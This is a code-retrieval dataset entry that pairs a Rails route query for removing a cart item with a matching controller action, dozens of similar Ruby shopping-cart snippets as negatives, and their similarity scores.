"def create\n if params[:line_item].has_key? \"option_id\"\n if !params[:line_item][:option_id].eql?(\"\")\n @option = Option.find(params[:line_item][:option_id])\n @line_item = LineItem.find_by_cart_id_and_option_id(current_cart.id, @option.id)\n if @line_item == nil\n # Didn't find existing line_item, create new one\n @line_item = LineItem.create!(:cart => current_cart, :option => @option, :quantity => ((params.has_key? \"quantity\") ? params[:quantity].to_i : 1), :unit_price => @option.price)\n flash[:notice] = \"Added #{@line_item.quantity} #{@option.item.name} - #{@option.details} to cart.\"\n else\n #Found existing line_item, increment quantity\n @line_item.update_attribute(:quantity, @line_item.quantity + ((params.has_key? \"quantity\") ? params[:quantity].to_i : 1))\n flash[:notice] = \"Updated #{@option.item.name} - #{@option.details} in cart to #{@line_item.quantity}.\"\n end\n end\n end\n \n respond_to do |format|\n format.html { redirect_to current_cart_url }\n format.js # create.rjs\n end\n end",
"def cart_params\n params.permit(:cart, :item)\n end",
"def create\n #@cart = current_cart\n product = Product.find(params[:product_id])\n #@line_items = @cart.line_items.build(product: product)\n @line_items = @cart.add_item(product.id)\n \n respond_to do |format|\n if @line_items.save\n format.html { redirect_to store_url,\n notice: 'your cart was successfully created.'}\n format.js { @current_item = @line_items }\n format.json {render :show,\n status: :created, location: @line_items }\n else\n format.html {render action: \"new\" }\n format.json { render json: @line_items.errors, status: unprocessable_entity }\n end\n end\n end",
"def add!(items)\n\t\t\tcart = Cart.perform_request Cart.api_url(\"carts/#{self.id}\", {}), :patch,\n\t\t\t\t{ op: \"add\",\n\t\t\t\t\titems: items.map { |item| { product_id: item[:product_id], quantity: item[:quantity], variant_id: item[:variant_id] }\n\t\t\t\t}}, true\n\n\t\t\tif cart\n\t\t\t\tself.items = cart[\"data\"][\"items\"]\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(params[:cart])\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render json: @cart, status: :created, location: @cart }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_cart (data)\n added = false\n data.each do |product_data|\n products = product_data[:product]\n if products != nil\n @browser.goto(@custom_base_url + products[:url])\n products[:attributes].each do |attribute|\n @browser.select_list(attribute[:identifier],attribute[:element]).select attribute[:select] if attribute[:select]\n @browser.radio(attribute[:identifier],attribute[:element]).set if attribute[:radio]\n @browser.text_field(attribute[:identifier],attribute[:element]).set attribute[:text] if attribute[:text]\n end\n #add the qty to the json data\n @browser.text_field(:id, \"qty\").set '3'\n @helper.custom_click_button :title, 'Add to Cart'\n # assert_section 'cart'\n #cart tests \n added = true\n end\n end\n exit 1 if !added\n end",
"def create\n @shopping_cart_item = ShoppingCartItem.new(shopping_cart_item_params)\n @shopping_cart_item.user_id = current_user.id\n\n respond_to do |format|\n if @shopping_cart_item.save\n format.html { redirect_to @shopping_cart_item, notice: 'Shopping cart item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @shopping_cart_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @shopping_cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_cart_button_item_page\n find(ADD_TO_CART_ID)\n end",
"def create\n @mycart = Mycart.new(mycart_params)\n\n respond_to do |format|\n if @mycart.save\n format.html { redirect_to @mycart, notice: \"Mycart was successfully created.\" }\n format.json { render :show, status: :created, location: @mycart }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @mycart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @cart = current_cart\n product = Product.find(params[:product_id])\t\n @lineitem = @cart.add_product(product, @cart)\n respond_to do |format|\n if @lineitem.save\n format.html { redirect_to @lineitem.cart, notice: 'Lineitem was successfully created.' }\n\n format.js \n\t\t else\n format.html { render action: \"new\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_cart(client_id, product_id, quantity)\n # Get the clients cart\n cart = Cart.find(client_id)\n \n # Add a new cart_item to the cart with product_id and quantity\n cart.cart_items.create(product_id: product_id, quantity: quantity)\n end",
"def add_to_cart_common(add_method, arguments, options = {})\n cart_model_options = options.reject { |key,val| [:suppress_redirect,:create_anon_cart].include?(key)}\n \n redirect = { :action => '' }\n \n if params[:token] || options[:create_anon_cart]\n cart = Cart.create\n session[:anonymous_cart_id] = cart.id\n cart.send(add_method, params[:id], cart_model_options)\n redirect = {:action => 'checkout', :token => params[:token]}\n else\n cart = get_cart()\n cart.send(add_method, arguments, cart_model_options)\n end\n \n \n rescue DuplicateItem => de\n flash[:message] = 'Duplicate item was not added to cart' # + de.inspect\n rescue Exception => e\n flash[:message] = 'Error: Add to cart operation failed' # + e.inspect\n ExceptionNotifier::Notifier.exception_notification(request.env, e, :data => {:message => \"was doing something wrong\"}).deliver\n ensure\n redirect_to(redirect) unless options[:suppress_redirect]\n end",
"def create\n @cart = current_cart\n book = Book.find(params[:book_id])\n\n @item = @cart.add(book.id)\n if request.xhr?\n flash.now[:cart_notice] = \"Added <em>#{@item.book.title}</em>\".html_safe\n render :action => \"add_with_ajax\"\n elsif request.post?\n flash[:cart_notice] = \"Added <em>#{@item.book.title}</em>\".html_safe\n redirect_to session[:return_to] || \"/catalog\"\n else\n render\n end\n end",
"def create\n @retail_cart = Retail::Cart.new(retail_cart_params)\n\n respond_to do |format|\n if @retail_cart.save\n format.html { redirect_to @retail_cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @retail_cart }\n else\n format.html { render :new }\n format.json { render json: @retail_cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.find(params[:product_id])\n qty = (params[:qty] || '1').to_i\n @line_item = @cart.add_product(product, qty)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to cart_url,\n notice: \"#{product.title} wurde in Deinen Warenkorb gelegt.\" }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def add_item(item_name, price, quantity = 1)\n @transactions << Transaction.new(item_name, price, quantity)\n quantity.times{self.items << item_name}\n self.total += price*quantity\n end",
"def add_to_cart(product)\n @products << product\n @sub_total += product.base_price\n @total_price += product.total_price\n puts \"Added to cart!\"\n end",
"def create\n @cart = Cart.new(cart_params)\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n session[:cart] ||= Hash.new(0)\n session[:cart][params[:product_id]] += 1\n respond_to do |format|\n format.html do\n redirect_to products_path, notice: \"Product #{params[:product_id]} was added to your cart.\"\n end\n format.json do\n render json: {\n cart: session[:cart],\n item_count: session[:cart].values.sum\n }\n end\n end\n end",
"def add_item(line_item_from_cart)\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n\n if current_item\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n else\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n end\n\n current_item\n end",
"def item_params\n params.require(:cart_item).permit(:product_id, :cart_id, :quantity)\n end"
] |
[
"0.7826361",
"0.77205575",
"0.76614505",
"0.7575464",
"0.7511385",
"0.7424134",
"0.74231166",
"0.7410437",
"0.7384941",
"0.7355176",
"0.7320388",
"0.7294891",
"0.7254877",
"0.7238063",
"0.72168064",
"0.7194003",
"0.7194003",
"0.7194003",
"0.7189589",
"0.7173619",
"0.7166893",
"0.712953",
"0.71183014",
"0.71128875",
"0.70886797",
"0.70879686",
"0.70657444",
"0.7061407",
"0.70468843",
"0.7009131",
"0.6983147",
"0.69653815",
"0.69401115",
"0.69220024",
"0.6887071",
"0.6839983",
"0.6829818",
"0.6823837",
"0.6809962",
"0.6797099",
"0.675827",
"0.67582613",
"0.67534447",
"0.6751885",
"0.67451566",
"0.6729481",
"0.67084765",
"0.67044294",
"0.669994",
"0.66974765",
"0.66949016",
"0.66899693",
"0.6688378",
"0.66777754",
"0.6665634",
"0.66304666",
"0.6624029",
"0.66231376",
"0.65860736",
"0.6584614",
"0.6578492",
"0.6577299",
"0.6575177",
"0.65713954",
"0.65662",
"0.656196",
"0.6560557",
"0.6560333",
"0.65515256",
"0.65359867",
"0.6506097",
"0.6497651",
"0.6493184",
"0.64801323",
"0.64770657",
"0.6475226",
"0.6466103",
"0.6457887",
"0.64467365",
"0.6429352",
"0.6429352",
"0.6429352",
"0.6429352",
"0.6429352",
"0.6424468",
"0.6417916",
"0.6416393",
"0.64142644",
"0.64130414",
"0.6412039",
"0.64079624",
"0.6401731",
"0.6398812",
"0.63957393",
"0.6375223",
"0.6367152",
"0.63655496",
"0.6357767",
"0.6355456",
"0.63522446"
] |
0.7200069
|
15
|
route: remove_item_cart POST /cart/remove_item(.:format) cartsremove_item
|
def remove_item
product_id = params[:product_id].to_s
modify_cart_delta(product_id, -1)
redirect_to :back
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_item\r\n cart_item_id = params[:id].to_i\r\n session[:cart].delete(cart_item_id)\r\n\r\n flash[:info] = 'Item has been removed!'\r\n redirect_to cart_url\r\n end",
"def remove_from_cart\n #see if you can change number of items in cart\n item_id = params[:remove_from_cart][:item_id]\n remove_item_from_cart(item_id)\n\n redirect_to cart_path\n end",
"def remove\n\t\tremove_from_cart(Item.find(params[:id]))\n\t\tredirect_to :controller => \"cart\", :action => \"index\"\n\tend",
"def remove_item\n prod_id = params[:product_id].to_s\n item = cart[prod_id] || {\"Num\" => 0}\n item[\"Num\"] -=1\n cart[prod_id] = item\n cart.delete(prod_id) if item[\"Num\"] < 1\n update_cart cart\n flash[:success] = t('itm_removed')\n redirect_back fallback_location: :root\n end",
"def remove(item)\n cart_items.where(item_id: item.id).first.try(:destroy)\n end",
"def remove_item\n item = Item.find(params[\"format\"])\n #select the cart of the log-in user\n if user_signed_in?\n cart = current_user.cart\n #check if the item is in the cart\n if item.carts.find(cart.id)\n item.carts.delete(cart)\n end\n redirect_to carts_show_path\n else\n redirect_to root_path\n end\n end",
"def destroy\n # get the item with id and get the quantity of this item\n @item = ShoppingCart.find(params[:id]).item\n\n @item.save\n current_user.remove_item_from_cart!(@item)\n # remove the item from shopping cart\n respond_to do |format|\n format.html { redirect_to @item }\n format.js\n end\n end",
"def remove_from_cart\n render json: CartProduct.find(params[:id]).destroy\n end",
"def destroy\n\n @cart = current_cart\n @line_item = @cart.remove_product(@cart.line_items.find(params[:id]))\n #the @cart is a security measure to ensure that the item is within\n # the current cart; I'm not certain if this is needed\n\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart_item.destroy\n Product.update(@cart_item.product.id, :quantity => @cart_item.product.quantity + @cart_item.quantity)\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Cart item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity -= 1\n\n\t\tif line_item.quantity == 0\n\t\t\tline_item.destroy\n\t\telse\n\t\t\tline_item.save\n\t\t\tupdate_line_item_totals(line_item)\n\t\tend\n\n\t\t# Llama método que devuelve cantidad al stock\n\t\treturn_item_to_stock(params[:product_id])\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n\n respond_to do |format|\n format.html { redirect_to cart_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n\n respond_to do |format|\n format.html { redirect_to cart_items_url }\n format.json { head :no_content }\n end\n end",
"def delete\n\t\t@cart.delete(:item_id)\n end",
"def remove_from_cart\n Cart.remove_from_cart(session[:cart], params[:id])\n redirect_to show_cart_products_path\n end",
"def remove_item\n product = Product.find_by_cs_sku(params[:sku])\n item = ReservedItem.find_by_sql(['SELECT qty FROM reserved_items where user_id = ? and product_id = ? and session_id = ?',\n current_user.id,\n product.id,\n session.id]).first\n unless item.nil?\n product.update_attribute(:qty, product.qty + item.qty)\n ReservedItem.delete_all(['user_id = ? and product_id = ? and session_id = ?', current_user.id,\n product.id,\n session.id])\n end\n\n respond_with_format { @cart.remove_item params[:sku] }\n end",
"def remove_cart\n\t\tcart = current_user.saved.carts.find(params[:cart])\n #saved.carts.delete(cart)\n cart.destroy\n redirect_to :back\n\tend",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path, notice: 'Item was successfully deleted.' }\n end\n end",
"def destroy\n @cart_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_url, notice: 'Item was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n cart_item = CartItem.where(cart_id: current_user.cart_id).where(\"item_id = ?\", cart_items_params[:item_id]).first\n if cart_item.delete\n @cart = CartItem.where(cart_id: current_user.cart_id).order(created_at: :desc)\n render 'carts/show'\n else\n render json: ['no such product in the cart'], status: 404\n end\n end",
"def destroy\n @cart = current_cart\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n flash[:notice] = \"Successfully removed item from cart.\"\n format.html { redirect_to(current_cart_url) }\n format.js # destroy.rjs\n end\n end",
"def remove\n id = params[:id]\n cart = session[:cart]\n cart.delete id\n \n redirect_to :action => :index\n end",
"def remove_from_cart\n\t\tcart_hash = session[:cart]\n\n\t\tcart_hash[params[:id]][\"quantity\"] -= 1\n\t\tif cart_hash[params[:id]][\"quantity\"] === 0\n\t\t\tcart_hash.delete(params[:id])\n\t\tend\n\n\t\tredirect_to root_url\n\tend",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n\n respond_to do |format|\n format.html { redirect_to current_cart_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(cart_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n @cart_id = @cart_item.cart_id\n\n respond_to do |format|\n format.html { redirect_to cart_path(@cart_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n # Use callbacks to share common setup or constraints between actions.\n\n @cart_item.destroy\n respond_to do |format|\n format.html { redirect_to basket_url(@cart_item.basket), notice: 'Диск удален из конрзины.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_items_url, notice: 'Cart item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @cart_item = CartItem.find(params[:id])\r\n if @cart_item.destroy\r\n \t@cart_item.unbuy # returns unbought items in the cart to products table\r\n \tflash[:notice] = \"Item has been removed from cart!\"\r\n end\r\n redirect_to edit_cart_item_path(@cart_item)\r\n end",
"def remove_from_cart\n if @cart.candle_carts.count == 1\n destroy\n else\n item = CandleCart.find(cart_params[:id])\n item.destroy\n flash[:alert] = \"Succesfully Removed\"\n redirect_back fallback_location: root_path\n end\n end",
"def destroy\n @cart_item = CartItem.find(params[:id])\n @cart_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(carts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cart_item.destroy\n\n head :no_content\n end",
"def destroy\n if params[:line_item_id]\n @cart.line_items.find(params[:line_item_id]).destroy\n else\n @cart.destroy\n end\n end",
"def destroy\n # @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n @cart = current_cart\n# item = Item.find(params[:item_id])\n quantity = params[:quantity] || 1\n item_id=params[:item_id]\n @line_item = @cart.delete_item(item_id,quantity.to_i)\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"L'oggetto è stato rimosso dal carrello!\" }\n format.json { head :ok }\n end\n end",
"def destroy\n @cart = current_cart\n @item = @cart.find_cart_item(params[:id])\n @product = @item.product\n @item.destroy\n flash[:warning] = \"#{@product.name} removed with success!\"\n redirect_to :back\n end",
"def remove_from_cart\n id = params[:id]\n session[:cart].delete(id)\n redirect_to root_path\n end",
"def destroy\n line_item = LineItem.find params[:id]\n line_item.destroy\n\n redirect_to cart_path\n end",
"def removeProduct\n id = params[:id]\n cart = session[:cart]\n cart.delete id\n redirect_to :action => :index\n \n end",
"def destroy\n @cart = current_cart\n product = Product.find(params[:product_id])\n #@line_item = LineItem.find(params[:id])\n @line_item = @cart.remove_product(product.id)\n product.update_attributes(:quantity => product.quantity + 1)\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def remove_item\n\n end",
"def destroy\n @cart_item.destroy\n @cart = @cart_item.cart\n @cart.update_coupons\n\n respond_to do |format|\n format.html { redirect_to cart_items_url }\n format.json { head :no_content }\n format.js\n format.mjs\n end\n end",
"def remove_product(index)\n @cart.delete_at(index)\n puts \"**Product removed from cart.**\"\n view_cart\nend",
"def remove_item_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ShoppingCartApi.remove_item ...'\n end\n # resource path\n local_var_path = '/shopping_cart/remove_item'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'remove_cart_item_input'])\n\n # return_type\n return_type = opts[:return_type] || 'RemoteShopcartResponse'\n\n # auth_names\n auth_names = opts[:auth_names] || ['api_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ShoppingCartApi#remove_item\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n li = @cart.line_items.find_by_id!(params[:id])\n li.destroy\n render json: {}, status: :ok\n end",
"def remove_product(index)\n @cart.delete_at(index)\n puts \"Product removed from cart.\"\n view_cart\nend",
"def destroy\n\t\t@cart_item.destroy\n\n\t\thead :no_content\n\tend",
"def delete_from_cart\n cart_op {|cart| cart.delete(params[:id].to_i); cart }\n render_cart_size\n end",
"def remove_product(name)\n @products_in_cart.delete(Product)\nend",
"def destroy\n if @cart_item.destroy\n # if @cart_item.cart.items.present?\n build do\n message 'Удаление товара из корзины'\n view 'cart_items/delete'\n end\n # else\n # @cart = @cart_item.cart\n # @cart.destroy\n # build do\n # message 'Удаление корзины'\n # view 'carts/delete'\n # end\n # end\n end\n end",
"def destroy\n @shopping_cart = ShoppingCart.find(params[:id])\n item_list_hash = eval(@shopping_cart.item_list)\n item_list_hash.delete(params[:item_in_cart].to_s)\n @shopping_cart.item_list = item_list_hash.to_s\n @shopping_cart.save\n\n respond_to do |format|\n format.html { redirect_to @shopping_cart, notice: item_list_hash.to_s }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart = current_cart\n @item = CartItem.find(params[:id])\n @book = @item.book\n if @item.amount > 1\n @item.update_attribute(:amount, @item.amount - 1)\n else\n CartItem.destroy(@item)\n end\n\n if request.xhr?\n flash.now[:cart_notice] = \"Remove 1 <em>#{@item.book.title}</em>\".html_safe\n render :action => \"remove_with_ajax\"\n elsif request.delete?\n flash[:cart_notice] = \"Remove 1 <em>#{@item.book.title}</em>\".html_safe\n redirect_to(session[:return_to] || \"/catalog\")\n end\n end",
"def destroy\n @shopping_cart_item.destroy\n respond_to do |format|\n format.html { redirect_to shopping_cart_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Line item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @join_table_carts_item.destroy\n respond_to do |format|\n format.html { redirect_to join_table_carts_items_url, notice: \"Join table carts item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_item\n if current_user\n @item = Item.find(params[:id].to_i)\n current_cart.items.delete(@item)\n redirect_to cart_path\n else\n delete_item_in_guest_cart(params[:id].to_i)\n redirect_to cart_path\n end\n end",
"def destroy\n @cart = Cart.find(session[:cart_id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@cart), notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def destroy\n @basket_item.destroy\n respond_to do |format|\n format.html { redirect_to basket_items_url, notice: 'Basket item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n current_cart.line_items.destroy_all\n current_cart.destroy\n session[:cart_id] = nil\n session[:referer] = nil\n respond_to do |format|\n format.html { redirect_to(root_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n current_cart=CartItem.find(params[:id]).cart\n # byebug\n if current_cart\n @cart_item.destroy\n new_sub_total_price=Cart.calculate_sub_total_price(current_cart.id)\n respond_to do |format|\n format.html { redirect_to carts_url, notice: 'Cart item was successfully destroyed.' }\n format.json { head :no_content }\n end\n Cart.new_subtotal_price current_cart\n end\n end",
"def destroy\n # @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n\n @cart = current_cart\n #We use params to get the product ID from the request\n #This is stored locally as no need to let view see it\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n \n #Adds an item to the cart using the \"add_product\" \n #function in the \"cart.rb\" file.\n\n\n respond_to do |format|\n format.html { redirect_to(store_url) }\n format.js { @current_item = @line_item }\n format.json { head :no_content }\n end\n end",
"def remove_item\n\tsaved = current_user.saved\n\titem = saved.items.find(params[:item])\n saved.items.delete(item)\n redirect_to :back\n\tend",
"def destroy\n\n if params[:product_id] then\n# TODO need to use @cart.id to ensure only this users line_item is accessed.\n current_item = LineItem.find_by_product_id(params[:product_id] )\n else\n current_item = LineItem.find(params[:id])\n end\n\n if current_item\n current_item.quantity -= 1\n puts current_item.quantity\n if current_item.quantity <= 0\n current_item.destroy\n else\n current_item.save\n end\n else\n current_item.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_id = params[:product_id].to_s\n\n # remove the item from the session\n session[:shopping_cart].delete(@product_id)\n\n calculate_order_total\n end",
"def destroy\n if current_user.cart.present? && current_user.cart.carts_products.where(id: params[:id]).present?\n current_user.cart.carts_products.delete(params[:id])\n render json: { message: \"Item removed from cart\" }\n else\n render json: { message: \"Can't find item in cart\" }, status: :not_found\n end\n end",
"def destroy\n @cart_product.destroy\n respond_to do |format|\n format.html { redirect_to cart_products_url, notice: \"Item Removed from Cart\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to 'http://localhost:3000/carts/show' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n @cart = current_cart\n respond_to do |format|\n # format.html { redirect_to(line_items_url) }\n format.html { redirect_to(@cart, :notice => 'Cart was successfully updated.') }\n format.js\n format.xml { head :ok }\n end\n end",
"def remove_from_cart\n @showbuttons = true\n begin\n product = Product.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n logger.error(\"Attempt to access invalid product #{params[:id]}\")\n redirect_to_index(\"Invalid product\" )\n else\n @cart = find_cart\n @current_item = @cart.remove_product(product)\n @order = find_order\n respond_to do |format|\n format.js if request.xhr?\n format.html {redirect_to_index}\n end\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n #if @line_item.quantity > 1\n # @line_item.update_attributes(:quantity => @line_item.quantity-1)\n #else\n @line_item.destroy\n #end\n respond_to do |format|\n #format.html {redirect_to (cart_url(session[:cart_id]))}\n format.html {redirect_to (store_url(session[:cart_id]))}\n #format.html { redirect_to line_items_url }\n #format.json { head :ok }\n #format.html {redirect_to(store_url, :notice => 'Line Item Removed')}\n #if current_cart.line_items.empty?\n # format.html { redirect_to(store_url, notice: 'Your cart is empty') }\n #else\n # format.html { redirect_to(@line_item.cart, :notice => 'Item has been removed from your cart.') } # format.html { redirect_to(current_cart, notice: 'Item Removed') }\n #end\n\n # if LineItem.find_by_cart_id (@line_item.cart_id).nil?\n # format.html {redirect_to store_url, notice: 'your cart is currently empty'}\n #else format.html {redirect_to current_cart, notice: 'Line item removed'}\n #end\n\n #format.html {redirect_to :back}\n format.json {head :ok}\n end\n end",
"def remove_lineitem\n line_item = @sale.line_items.find_by_id(params[:line_item])\n respond_to do |format|\n if line_item.present?\n line_item.item.stock_amount = line_item.item.stock_amount + line_item.quantity\n line_item.item.save\n line_item.destroy\n end\n update_totals\n\n format.js { ajax_refresh }\n end\n end",
"def destroy\n @item = Item.find(@ordered_item.item_id)\n @item.quantity += @ordered_item.quantity\n @item.update(quantity: @item.quantity )\n @ordered_item.destroy\n respond_to do |format|\n format.html { redirect_to ordered_items_url, notice: 'Ordered item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_mtg_cards\n reservation = Mtg::Reservation.find(params[:id])\n unless current_cart.remove_mtg_listing(reservation, params[:quantity].to_i) # remove this listing from cart\n flash[:error] = \"there was a problem processing your request\"\n redirect_to back_path\n return\n end\n redirect_to back_path, :notice => \"Item(s) removed!\"\n return #stop method, don't display a view\n end",
"def destroy\n @in_shopping_cart.destroy\n end",
"def delete_item(account_number, cart_id, item_id)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/carts/{cart_id}/items/{item_id}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'cart_id' => cart_id,\r\n 'item_id' => item_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.delete query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def destroy\n # make sure user is accessing cart currently\n # held in their session\n if params[:id].to_i == session[:cart_id].to_i\n logger.debug \"***Destroying line item #{params[:line_id]}...\"\n @cart_line_item.destroy\n flash[:success] = \"Item successfully removed from Cart\"\n redirect_to cart_path(session[:cart_id])\n else\n logger.debug \"***Cart id Supplied does NOT match session cart id\"\n no_cart_line_item_found\n end\n end",
"def destroy\n @cart = current_cart\n #need to first destroy each of the line items\n @cart.line_items.each do |i|\n i.destroy\n end\n #now destroy the cart and set the cookie to nil so that it will request a new cookie.\n @cart.destroy if @cart.id == session[:cart_id]\n session[:cart_id] = nil\n respond_to do |format|\n format.html { redirect_to '/', notice: 'Cart was successfully emptied.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @basket_item = BasketItem.find(params[:id])\n @basket_item.destroy\n\n respond_to do |format|\n format.html { redirect_to basket_items_url }\n format.json { head :no_content }\n end\n end",
